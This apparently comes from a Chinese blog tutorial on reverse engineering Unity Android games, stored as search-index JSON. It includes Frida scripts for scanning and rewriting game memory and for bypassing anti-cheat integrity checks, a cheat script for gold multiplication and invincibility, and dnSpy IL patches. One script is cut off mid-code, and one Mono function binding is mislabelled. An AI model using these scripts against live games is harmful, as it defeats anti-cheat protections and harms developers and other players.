字节数 常见用途 DWORD Dword 4 金币、经验值、等级 FLOAT Float 4 HP、速度、坐标 DOUBLE Double 8 高精度数值 WORD Word 2 小范围整数 BYTE Byte 1 布尔值、小数值 QWORD Qword 8 大数值、指针 XOR Encrypted 4 异或加密后的值 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:7:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#73-搜索类型对照"},{"categories":null,"collections":null,"content":"7.4 加速器 (Speed Hack) GameGuardian 内置的加速器通过 Hook 系统时间函数来改变游戏速度： 原理: Unity 游戏的 Time.deltaTime 依赖系统时钟 加速器修改 clock_gettime / gettimeofday 的返回值 使游戏认为时间流逝更快或更慢 效果: 2x 加速 -\u003e 游戏运行速度翻倍 (动画、移动、冷却都加速) 0.5x 减速 -\u003e 慢动作 (适用于需要精确操作的场景) 限制: - 服务端会检测客户端时间与服务器时间的差异 - 许多游戏会检测 clock_gettime 是否被 Hook - Unity 的 Time.unscaledTime 可能不受影响 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:7:4","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#74-加速器-speed-hack"},{"categories":null,"collections":null,"content":"7.5 Frida 实现内存搜索 如果不方便使用 GameGuardian，可以用 Frida 实现类似的内存搜索： // memory_scanner.js // 用 Frida 实现 GameGuardian 风格的内存搜索 \"use strict\"; var searchResults = []; // 搜索指定整数值 function searchInt32(value) { searchResults = []; var pattern = intToHexPattern(value); var module = Process.findModuleByName(\"libil2cpp.so\"); // 在可写内存区域搜索 (堆、数据段) var ranges = Process.enumerateRanges(\"rw-\"); var total = 0; for (var i = 0; i \u003c ranges.length; i++) { var range = ranges[i]; if (range.size \u003e 100 * 1024 * 1024) continue; // 跳过超大区域 try { var results = Memory.scanSync(range.base, range.size, pattern); for (var j = 0; j \u003c results.length; j++) { searchResults.push(results[j].address); total++; } } catch(e) {} } console.log(\"[*] Found \" + total + \" addresses with value \" + value); return total; } // 在已有结果中筛选 function refinSearch(newValue) { var pattern = intToHexPattern(newValue); var refined = []; for (var i = 0; i \u003c searchResults.length; i++) { try { var current = searchResults[i].readS32(); if (current === newValue) { refined.push(searchResults[i]); } } catch(e) {} } searchResults = refined; console.log(\"[*] Refined to \" + refined.length + \" addresses\"); if (refined.length \u003c= 10) { for (var k = 0; k \u003c refined.length; k++) { console.log(\" [\" + k + \"] \" + refined[k] + \" = \" + refined[k].readS32()); } } return refined.length; } // 修改指定索引的值 function modifyValue(index, newValue) { if (index \u003c 0 || index \u003e= searchResults.length) { console.log(\"[-] Invalid index\"); return; } var addr = searchResults[index]; addr.writeS32(newValue); console.log(\"[+] \" + addr + \" set to \" + newValue); } function intToHexPattern(value) { var buf = Memory.alloc(4); buf.writeS32(value); var bytes = buf.readByteArray(4); var arr = new Uint8Array(bytes); var hex = \"\"; for (var i = 0; i \u003c arr.length; i++) { hex += arr[i].toString(16).padStart(2, \"0\") + \" \"; } return hex.trim(); } // 导出 RPC 接口供外部调用 rpc.exports = { search: searchInt32, refine: refinSearch, modify: modifyValue, count: function() { return searchResults.length; } }; ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:7:5","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#75-frida-实现内存搜索"},{"categories":null,"collections":null,"content":"8. 反作弊机制分析 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:8:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#8-反作弊机制分析"},{"categories":null,"collections":null,"content":"8.1 常见反作弊体系 ┌─────────────────────────────────────────────────────────────────┐ │ Unity 游戏反作弊体系 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ ┌──────────────┐ ┌──────────────┐ ┌──────────────────┐ │ │ │ 客户端检测 │ │ 服务端验证 │ │ 第三方反作弊 SDK │ │ │ ├──────────────┤ ├──────────────┤ ├──────────────────┤ │ │ │ 内存完整性 │ │ 数值合理性 │ │ ACE (腾讯) │ │ │ │ 速度检测 │ │ 时间戳校验 │ │ NetEase 安全 SDK │ │ │ │ 代码校验 │ │ 行为分析 │ │ EasyAntiCheat │ │ │ │ Hook 检测 │ │ 重放攻击防护 │ │ BattlEye │ │ │ │ Root 检测 │ │ 服务端结算 │ │ GameGuard │ │ │ │ 模拟器检测 │ │ 操作频率限制 │ │ 梆梆安全 │ │ │ └──────────────┘ └──────────────┘ └──────────────────┘ │ │ │ │ ┌──────────────────────────────────────────────────────┐ │ │ │ 混合防护策略 │ │ │ │ │ │ │ │ 客户端: 提高作弊门槛、检测异常环境 │ │ │ │ 服务端: 最终仲裁者、验证所有关键操作 │ │ │ │ 行为分析: 大数据识别异常玩家 │ │ │ │ │ │ │ └──────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────┘ ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:8:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#81-常见反作弊体系"},{"categories":null,"collections":null,"content":"8.2 服务端验证 这是最有效的反作弊手段。关键数值的修改需要服务器确认： 客户端-服务端交互模型: ┌──────────┐ ┌──────────┐ │ 客户端 │ ---购买请求(商品ID)---\u003e │ 服务器 │ │ │ │ │ │ │ \u003c---扣款结果(新余额)--- │ 验证: │ │ 显示结果 │ │ 1. 余额够?│ │ │ │ 2. 商品存在?│ └──────────┘ │ 3. 价格对?│ └──────────┘ 修改客户端 coin 显示 = 无效 (服务器不认) 修改客户端购买请求中的价格 = 可能有效 (如果服务器不校验) 绕过思路: // 分析服务端验证: Hook 网络请求 // 检查哪些操作是服务端验证的、哪些是纯客户端的 Il2Cpp.perform(() =\u003e { const NetworkManager = Il2Cpp.domain .assembly(\"Assembly-CSharp\").image .class(\"Network.NetworkManager\"); // Hook 发送请求方法 NetworkManager.method(\"SendRequest\").implementation = function(url, data) { console.log(\"[NET] Request: \" + url); console.log(\" Data: \" + data); // 分析: 如果某个操作不发送网络请求，说明是纯客户端逻辑 this.method(\"SendRequest\").invoke(url, data); }; // Hook 接收响应方法 NetworkManager.method(\"OnResponse\").implementation = function(response) { console.log(\"[NET] Response: \" + response); this.method(\"OnResponse\").invoke(response); }; }); ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:8:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#82-服务端验证"},{"categories":null,"collections":null,"content":"8.3 内存完整性检测 游戏可能会定期检查关键内存区域是否被修改： // 典型的内存完整性检测 (伪代码) void IntegrityCheck() { // 方式 1: CRC 校验关键代码段 uint32_t crc = CalculateCRC32(codeStart, codeSize); if (crc != expectedCRC) { // 代码被篡改! ReportCheat(); exit(0); } // 方式 2: 关键值哨兵 // 在 coin 值旁边存储一个校验值 if (coin != (coinChecksum ^ MAGIC_KEY)) { // coin 被外部修改! ReportCheat(); } // 方式 3: 多副本对比 // 同一个值存储在多个位置，定期对比 if (coin_copy1 != coin_copy2 || coin_copy2 != coin_copy3) { ReportCheat(); } } 绕过方法: // bypass_integrity.js // 绕过内存完整性检测 \"use strict\"; // 方法 1: Hook 完整性检测函数，让它永远返回 \"正常\" // 在 dump.cs 中搜索: IntegrityCheck, AntiCheat, SecurityCheck var il2cpp = Module.findBaseAddress(\"libil2cpp.so\"); // 假设 IntegrityCheck 在 RVA 0x2A0000 var integrityCheck = il2cpp.add(0x2A0000); Interceptor.replace(integrityCheck, new NativeCallback(function() { // 什么都不做，直接返回 return; }, \"void\", [])); // 方法 2: 如果游戏使用 CRC 校验代码段 // Hook CRC 计算函数，返回预期值 // 搜索 crc32, checksum, hash 等关键词 // 方法 3: 如果游戏使用值哨兵 // 修改值时，同时更新校验哨兵 function safeModifyCoin(instance, newValue) { var coinOffset = 0x10; var checksumOffset = 0x38; // 需要逆向确定 var MAGIC_KEY = 0xDEADBEEF; // 需要逆向确定 instance.add(coinOffset).writeS32(newValue); instance.add(checksumOffset).writeS32(newValue ^ MAGIC_KEY); } ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:8:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#83-内存完整性检测"},{"categories":null,"collections":null,"content":"8.4 速度检测 // 服务端速度检测伪代码 void OnClientAction(Action action, int64_t clientTimestamp) { int64_t serverTime = GetServerTime(); int64_t timeDiff = abs(serverTime - clientTimestamp); // 检测 1: 客户端时间与服务器时间差异过大 if (timeDiff \u003e MAX_TIME_DIFF) { FlagSuspicious(player, \"时间异常\"); } // 检测 2: 操作频率异常 int64_t sinceLastAction = clientTimestamp - player.lastActionTime; if (sinceLastAction \u003c MIN_ACTION_INTERVAL) { FlagSuspicious(player, \"操作频率过高\"); } // 检测 3: 移动速度异常 float distance = CalculateDistance(player.lastPos, action.newPos); float elapsed = (clientTimestamp - player.lastMoveTime) / 1000.0f; float speed = distance / elapsed; if (speed \u003e MAX_ALLOWED_SPEED * 1.5f) { FlagSuspicious(player, \"移动速度异常\"); } } ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:8:4","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#84-速度检测"},{"categories":null,"collections":null,"content":"8.5 常见第三方反作弊 SDK SDK 常见游戏 检测 SO 库 特征 腾讯 ACE 王者荣耀, PUBG Mobile libtersafe.so 内核级检测 网易安全 阴阳师, 荒野行动 libNetHTProtect.so 行为分析 梆梆安全 多款国产手游 libDexHelper.so 加固 + 反调试 EasyAntiCheat Fortnite, Apex libeac.so 进程扫描 GameGuard 多款韩国手游 libgameguard.so 根套件检测 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:8:5","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#85-常见第三方反作弊-sdk"},{"categories":null,"collections":null,"content":"9. 实战：修改游戏数值 💡 思路一句话: Il2CppDumper 导出方法偏移 → IDA 定位目标方法 → Frida hook 修改参数/返回值 → 或直接 patch SO 二进制永久修改。 本节以一个完整的流程演示如何从零开始找到并修改 Unity 游戏中的 HP / 金币 / 伤害。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:9:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#9-实战修改游戏数值"},{"categories":null,"collections":null,"content":"9.1 完整流程概览 ┌─────────────────────────────────────────────────────────────────┐ │ Unity 游戏数值修改完整流程 │ ├─────────────────────────────────────────────────────────────────┤ │ │ │ Step 1: 解包与识别 │ │ ├── 解压 APK │ │ ├── 确认 IL2CPP 后端 │ │ └── 提取 libil2cpp.so + global-metadata.dat │ │ │ │ Step 2: Dump 元数据 │ │ ├── 运行 Il2CppDumper │ │ ├── (如 metadata 加密) -\u003e 运行时 Dump │ │ └── 获取 dump.cs + DummyDll │ │ │ │ Step 3: 静态分析定位目标 │ │ ├── 搜索关键类: PlayerData, GameManager, etc. │ │ ├── 找到目标方法的 RVA 偏移 │ │ ├── 找到目标字段的 Field Offset │ │ └── (可选) IDA/Ghidra 分析方法实现 │ │ │ │ Step 4: Frida Hook 验证 │ │ ├── Hook 目标方法，观察调用参数 │ │ ├── 确认偏移正确性 │ │ └── 理解游戏逻辑流程 │ │ │ │ Step 5: 编写修改脚本 │ │ ├── 修改方法参数/返回值 │ │ ├── 直接写入内存字段 │ │ └── 测试效果 │ │ │ └─────────────────────────────────────────────────────────────────┘ ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:9:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#91-完整流程概览"},{"categories":null,"collections":null,"content":"9.2 Step-by-Step 实战 环境准备: # 工具清单 # 1. Il2CppDumper (GitHub releases 下载) # 2. IDA Pro 7.5+ 或 Ghidra # 3. Frida 16.x + root 设备 # 4. APK 解压工具 (apktool / 7zip) # 从 APK 中提取关键文件 apktool d target_game.apk -o game_extracted ls game_extracted/lib/arm64-v8a/libil2cpp.so # SO 文件 ls game_extracted/assets/bin/Data/Managed/Metadata/global-metadata.dat # 元数据 Step 1: 准备环境 # 设备要求: 已 Root 的 Android 设备 + Frida Server 已部署 # 安装目标游戏 adb install target-game.apk # 获取包名 adb shell pm list packages | grep game # 输出: package:com.example.unitygame # 提取已安装的 APK adb shell pm path com.example.unitygame # 输出: /data/app/com.example.unitygame-xxxxx/base.apk adb pull /data/app/com.example.unitygame-xxxxx/base.apk game.apk Step 2: Dump 元数据 # 解压 mkdir game_extracted \u0026\u0026 cd game_extracted unzip ../game.apk # 检查 metadata xxd -l 8 assets/bin/Data/Managed/Metadata/global-metadata.dat # 输出: 00000000: af1b b1fa 1d00 0000 # magic 正确，version 29，未加密 # 运行 Il2CppDumper Il2CppDumper \\ lib/arm64-v8a/libil2cpp.so \\ assets/bin/Data/Managed/Metadata/global-metadata.dat \\ dump_output/ # 检查结果 ls dump_output/ # dump.cs script.py ghidra.py il2cpp.h DummyDll/ stringliteral.json Step 3: 在 dump.cs 中搜索目标 # 搜索金币相关 grep -n -i \"coin\\|gold\\|money\\|currency\" dump_output/dump.cs # 搜索 HP 相关 grep -n -i \"health\\|hp\\|hitpoint\\|life\" dump_output/dump.cs # 搜索伤害相关 grep -n -i \"damage\\|attack\\|atk\\|hurt\" dump_output/dump.cs # 搜索单例/管理器 grep -n -i \"instance\\|manager\\|controller\\|singleton\" dump_output/dump.cs 假设找到以下关键信息： // dump.cs 中找到的关键类 // === 玩家数据 === // Namespace: Game.Player public class CharacterStats : MonoBehaviour // TypeDefIndex: 2841 { public int gold; // 0x1C public int diamond; // 0x20 public float currentHP; // 0x24 public float maxHP; // 0x28 public int attackPower; // 0x2C public int defense; // 0x30 // RVA: 0x18A3F0 public void AddGold(int amount) { } // RVA: 0x18A450 public void SetHP(float value) { } // RVA: 0x18A4B0 public float GetHP() { } // RVA: 0x18A510 public void TakeDamage(float damage, bool isCritical) { } // RVA: 0x18A5E0 public static CharacterStats get_LocalPlayer() { } } // === 战斗系统 === // Namespace: Game.Combat public class DamageCalculator // TypeDefIndex: 2900 { // RVA: 0x1B2000 public static float Calculate( CharacterStats attacker, CharacterStats defender, int skillId) { } } Step 4: 编写并运行 Frida 脚本 // game_hack.js // 完整的游戏数值修改脚本 \"use strict\"; console.log(\"==============================\"); console.log(\" Unity Game Hack Script\"); console.log(\"==============================\"); function main() { var il2cpp = Module.findBaseAddress(\"libil2cpp.so\"); if (!il2cpp) { console.log(\"[-] Waiting for libil2cpp.so...\"); setTimeout(main, 2000); return; } console.log(\"[+] libil2cpp.so @ \" + il2cpp); // ───────────────────────────────────── // 1. 获取玩家实例 // ───────────────────────────────────── var getLocalPlayer = il2cpp.add(0x18A5E0); var playerInstance = null; Interceptor.attach(getLocalPlayer, { onLeave: function(retval) { if (!retval.isNull() \u0026\u0026 playerInstance === null) { playerInstance = retval; console.log(\"[+] Got player instance: \" + playerInstance); dumpPlayerStats(playerInstance); } } }); // ───────────────────────────────────── // 2. 金币修改: AddGold 增加量 x100 // ───────────────────────────────────── var addGold = il2cpp.add(0x18A3F0); Interceptor.attach(addGold, { onEnter: function(args) { var original = args[1].toInt32(); var modified = original * 100; args[1] = ptr(modified); console.log(\"[GOLD] \" + original + \" -\u003e \" + modified); } }); // ───────────────────────────────────── // 3. 无敌模式: TakeDamage 伤害归零 // ───────────────────────────────────── var takeDamage = il2cpp.add(0x18A510); Interceptor.attach(takeDamage, { onEnter: function(args) { // this = args[0], damage = args[1] (float as bits), isCritical = args[2] // 在 ARM64 上，float 参数可能通过浮点寄存器传递 // 需要使用 this.context 来访问寄存器 // 方法: 将 damage 设为 0 // float 0.0 的二进制表示全为 0 args[1] = ptr(0); console.log(\"[GOD] Damage blocked!\"); } }); // ───────────────────────────────────── // 4. 伤害增强: 修改伤害计算结果 // ────────────────────────────────────","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:9:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#92-step-by-step-实战"},{"categories":null,"collections":null,"content":"9.3 ARM64 浮点数处理技巧 在 ARM64 架构上，浮点参数通过 d0-d7 / s0-s7 寄存器传递，而不是 x0-x7。Frida 的 args[] 数组无法直接读取浮点寄存器，需要特殊处理： // float_handling.js // ARM64 浮点数参数处理 \"use strict\"; var il2cpp = Module.findBaseAddress(\"libil2cpp.so\"); // 方法 1: 通过 this.context 访问浮点寄存器 var takeDamage = il2cpp.add(0x18A510); Interceptor.attach(takeDamage, { onEnter: function(args) { // ARM64 浮点参数在 d0/s0 寄存器中 // 注意: IL2CPP 中 this 在 x0, 第一个实际参数可能在 s0 或 x1 // 取决于编译器的 ABI 决定 // 读取 s0 寄存器 (float, 单精度) // Frida 中 context.d0 包含 double, 取低 32 位是 float if (this.context !== undefined) { // 某些 Frida 版本支持: // var damage = this.context.d0; // as double // console.log(\"damage (from d0): \" + damage); } } }); // 方法 2: 使用 NativeFunction 正确声明参数类型 var takeDamageFunc = new NativeFunction( il2cpp.add(0x18A510), \"void\", [\"pointer\", \"float\", \"bool\", \"pointer\"] // this damage isCrit MethodInfo ); // 方法 3: Interceptor.replace 替换整个函数 Interceptor.replace(il2cpp.add(0x18A510), new NativeCallback(function(thisPtr, damage, isCritical, methodInfo) { // 这里的 damage 已经是正确的 float 值了 console.log(\"[*] TakeDamage: damage=\" + damage + \" crit=\" + isCritical); // 调用原函数但修改参数 takeDamageFunc(thisPtr, 0.0, false, methodInfo); }, \"void\", [\"pointer\", \"float\", \"bool\", \"pointer\"]) ); ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:9:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#93-arm64-浮点数处理技巧"},{"categories":null,"collections":null,"content":"10. Mono 游戏逆向 虽然 IL2CPP 是主流，但仍有部分游戏（尤其是老游戏和独立游戏）使用 Mono 后端。Mono 游戏的逆向比 IL2CPP 简单得多。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:10:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#10-mono-游戏逆向"},{"categories":null,"collections":null,"content":"10.1 Mono 游戏识别与文件结构 game_mono.apk (解压后) ├── lib/ │ └── armeabi-v7a/ │ ├── libmono.so # Mono 运行时 (特征!) │ ├── libmain.so │ └── libunity.so ├── assets/ │ └── bin/ │ └── Data/ │ └── Managed/ # ★ DLL 直接存放在这里 │ ├── Assembly-CSharp.dll # ★ 核心游戏逻辑 │ ├── Assembly-CSharp-firstpass.dll │ ├── UnityEngine.dll │ ├── mscorlib.dll │ ├── System.dll │ └── System.Core.dll └── ... 关键区别: Mono 游戏将 .NET DLL 直接打包在 APK 中，无需 Dump 就可以直接反编译！ ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:10:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#101-mono-游戏识别与文件结构"},{"categories":null,"collections":null,"content":"10.2 使用 dnSpy 分析 Assembly-CSharp.dll 步骤: 1. 解压 APK 2. 提取 assets/bin/Data/Managed/Assembly-CSharp.dll 3. 用 dnSpy 打开 与 IL2CPP DummyDll 的区别: - Mono 的 DLL 包含完整的 IL 字节码 - dnSpy 可以反编译出完整的方法实现 (不只是签名) - 可以直接看到游戏逻辑的源码级伪代码 dnSpy 中看到的效果: // dnSpy 反编译 Mono 游戏的 Assembly-CSharp.dll // 可以看到完整的方法实现! namespace Game.Player { public class PlayerStats : MonoBehaviour { public int gold; public float hp; public float maxHp; // 完整的方法实现 (不像 IL2CPP 只有签名) public void AddGold(int amount) { this.gold += amount; if (this.gold \u003e 999999) { this.gold = 999999; } UIManager.Instance.UpdateGoldDisplay(this.gold); SaveManager.Save(); } public void TakeDamage(float damage) { if (this.isInvincible) return; float actualDamage = damage - (float)this.defense * 0.5f; if (actualDamage \u003c 1f) actualDamage = 1f; this.hp -= actualDamage; if (this.hp \u003c= 0f) { this.hp = 0f; this.OnDeath(); } UIManager.Instance.UpdateHPBar(this.hp / this.maxHp); } public bool CheckPurchase(string productId) { // 可以看到内购验证逻辑! if (PlayerPrefs.GetInt(\"purchased_\" + productId, 0) == 1) { return true; } return IAPManager.Instance.VerifyPurchase(productId); } } } ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:10:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#102-使用-dnspy-分析-assembly-csharpdll"},{"categories":null,"collections":null,"content":"10.3 dnSpy 直接修改 DLL dnSpy 不仅可以查看代码，还可以直接修改 IL 代码并保存： 修改步骤: 1. 在 dnSpy 中找到目标方法 2. 右键 -\u003e Edit Method Body (编辑方法体) 或 右键 -\u003e Edit IL Instructions (编辑 IL 指令) 3. 修改代码 4. File -\u003e Save Module (保存修改后的 DLL) 5. 将修改后的 DLL 放回 APK 中，重新签名 示例修改 (Edit Method Body): // 原始代码: public void TakeDamage(float damage) { this.hp -= damage; // ... } // 修改为: public void TakeDamage(float damage) { // 不执行任何操作 = 无敌 return; } IL 级别修改示例: // 原始 IL: // IL_0000: ldarg.0 // this // IL_0001: ldarg.0 // this // IL_0002: ldfld float32 PlayerStats::hp // IL_0007: ldarg.1 // damage // IL_0008: sub // IL_0009: stfld float32 PlayerStats::hp // 修改为 (直接返回): // IL_0000: ret ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:10:3","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#103-dnspy-直接修改-dll"},{"categories":null,"collections":null,"content":"10.4 Mono 游戏的运行时 Patch 如果不想重打包 APK（避免签名校验问题），可以用 Frida 在运行时 Patch Mono 方法： // mono_runtime_patch.js // Mono 游戏运行时修改 \"use strict\"; // Mono 运行时提供了丰富的 API var mono_get_root_domain = new NativeFunction( Module.findExportByName(\"libmono.so\", \"mono_get_root_domain\"), \"pointer\", []); var mono_domain_get_assemblies = new NativeFunction( Module.findExportByName(\"libmono.so\", \"mono_domain_assembly_open\"), \"pointer\", [\"pointer\", \"pointer\"]); var mono_class_from_name = new NativeFunction( Module.findExportByName(\"libmono.so\", \"mono_class_from_name\"), \"pointer\", [\"pointer\", \"pointer\", \"pointer\"]); var mono_class_get_method_from_name = new NativeFunction( Module.findExportByName(\"libmono.so\", \"mono_class_get_method_from_name\"), \"pointer\", [\"pointer\", \"pointer\", \"int\"]); var mono_compile_method = new NativeFunction( Module.findExportByName(\"libmono.so\", \"mono_compile_method\"), \"pointer\", [\"pointer\"]); // 获取已编译方法的 native code 地址后，可以用 Interceptor.attach Hook function hookMonoMethod(namespace, className, methodName, paramCount) { // 通过 Mono API 查找方法 var domain = mono_get_root_domain(); // 枚举程序集找到 Assembly-CSharp var assemblies = Process.findModuleByName(\"libmono.so\"); // ... (需要遍历程序集) // 获取方法后编译并 Hook // var method = mono_class_get_method_from_name(klass, methodNamePtr, paramCount); // var compiled = mono_compile_method(method); // Interceptor.attach(compiled, { ... }); } // 更简单的方法: 直接搜索 Mono 内部结构 // Mono 的 JIT 编译后的代码同样在内存中 // 可以通过 mono_jit_info_table_find 来查找 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:10:4","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#104-mono-游戏的运行时-patch"},{"categories":null,"collections":null,"content":"10.5 Mono vs IL2CPP 逆向对比总结 ┌─────────────────────────────────────────────────────────────┐ │ Mono vs IL2CPP 逆向难度对比 │ ├──────────────────┬──────────────────┬───────────────────────┤ │ 维度 │ Mono │ IL2CPP │ ├──────────────────┼──────────────────┼───────────────────────┤ │ 代码可读性 │ ★★★★★ │ ★★☆☆☆ │ │ │ dnSpy 完整反编译 │ 需 Dump+IDA 分析 │ ├──────────────────┼──────────────────┼───────────────────────┤ │ 修改难度 │ ★★★★★ │ ★★★☆☆ │ │ │ 直接修改 DLL │ 需要 Frida Hook │ ├──────────────────┼──────────────────┼───────────────────────┤ │ 符号恢复 │ 不需要 │ 需要 Il2CppDumper │ ├──────────────────┼──────────────────┼───────────────────────┤ │ 运行时 Hook │ Mono API 丰富 │ 需计算偏移 │ ├──────────────────┼──────────────────┼───────────────────────┤ │ 反重打包 │ 签名校验 │ 签名校验+代码校验 │ ├──────────────────┼──────────────────┼───────────────────────┤ │ 加密保护 │ DLL 加密 │ metadata 加密 │ │ │ (Mono 加载时解密) │ (il2cpp 加载时解密) │ ├──────────────────┼──────────────────┼───────────────────────┤ │ 工具链 │ dnSpy │ Il2CppDumper │ │ │ ILSpy │ IDA Pro / Ghidra │ │ │ .NET Reflector │ frida-il2cpp-bridge │ └──────────────────┴──────────────────┴───────────────────────┘ ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:10:5","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#105-mono-vs-il2cpp-逆向对比总结"},{"categories":null,"collections":null,"content":"对抗与高级技巧 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:11:0","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#对抗与高级技巧"},{"categories":null,"collections":null,"content":"1. Metadata 加密对抗 现象: Il2CppDumper 报错 This file is not a valid metadata file。 对抗: Hook 加载函数: 游戏必须在运行时解密 metadata 才能正常运行。Hook libil2cpp.so 中加载 metadata 的函数（通常是 il2cpp::vm::MetadataCache::Register 或相关初始化函数），Dump 出解密后的内存内容。 分析解密逻辑: 逆向 libil2cpp.so 的初始化流程，找到解密 metadata 的算法（通常是 XOR 或 AES），写脚本还原。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:11:1","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#1-metadata-加密对抗"},{"categories":null,"collections":null,"content":"2. 函数地址混淆 / 动态计算 现象: Il2CppDumper 导出的地址与内存中的实际地址不符。 对抗: 这通常是因为游戏在运行时动态修改了函数指针。 使用 Frida 的扫描功能，根据机器码特征（Pattern Scanning）来定位函数，而不是依赖固定的偏移。 ","date":"2025-03-12","objectID":"/reverse_engineering/android/03-case-studies/case_unity_games/:11:2","tags":["Native层","Ghidra","Frida","案例分析","Unity游戏","Hook","IL2CPP","Mono","GameGuardian"],"title":"Unity 游戏逆向 (Il2Cpp) 案例","uri":"/reverse_engineering/android/03-case-studies/case_unity_games/#2-函数地址混淆--动态计算"},{"categories":null,"collections":null,"content":"3. 反调试与完整性校验 